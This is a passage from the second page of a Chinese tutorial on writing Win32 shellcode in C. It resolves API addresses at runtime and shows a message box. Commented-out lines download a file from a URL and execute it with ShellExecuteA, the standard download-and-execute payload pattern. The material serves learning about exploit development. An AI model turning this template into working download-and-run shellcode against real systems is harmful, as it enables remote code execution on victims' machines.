设为首页 加入收藏

TOP

使用C语言编写win32平台Shellcode(二)
2014-11-23 21:42:11 来源: 作者: 【 】 浏览:6
Tags:使用 语言 编写 win32 平台 Shellcode
yin";
LPTSTR Message="Hello Shellcode!";
LPTSTR url="https://www.cppentry.com/upload_files/article/45/1_ggyoo__.gif";
LPTSTR savepath="C:\logo.gif";

// MessageBox(NULL,"hello Shellcode!","Cryin",0);

scinfo->fMessageBoxA(NULL,Message,Title,MB_OK);
// scinfo->fURLDownloadToFile(NULL,url,savepath,NULL,NULL);
// scinfo->fShellExecuteA(NULL,0,savepath,0,0,SW_SHOW);

}

//Shellcode 入口函数
void ShellcodeEntry()
{
ShellCodeInfo scinfo;
ResolvAddr(&(scinfo.fLoadLibraryA), &(scinfo.fGetProcAddressA));
scinfo.User32=scinfo.fLoadLibraryA("User32.dll");
scinfo.Urlmon=scinfo.fLoadLibraryA("Urlmon.dll");
scinfo.shell32=scinfo.fLoadLibraryA("shell32.dll");

scinfo.fMessageBoxA=(pMessageBoxA)scinfo.fGetProcAddressA(scinfo.User32,"MessageBoxA");
// scinfo.fShellExecuteA=(pShellExecuteA)scinfo.fGetProcAddressA(scinfo.shell32,"ShellExecuteA");
// scinfo.fURLDownloadToFile=(pURLDownloadToFileA)scinfo.fGetProcAddressA(scinfo.Urlmon,"URLDownloadToFileA");
LoadShellcode(&scinfo);
}

int main()
{
//shellcode的长度:(PDWORD)main - (PDWORD)ShellCodeStart;
//Shellcode起始位置:(PDWORD)ShellCodeStart
//根据上面信息就可将shellcode提取
//这里本想实现自动提取但未实现。可利用winhex手动提取
ShellcodeEntry();
return 0;
}


首页 上一页 1 2 下一页 尾页 2/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇C语言编译全过程收藏 下一篇用指向基类对象的指针输出数据

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: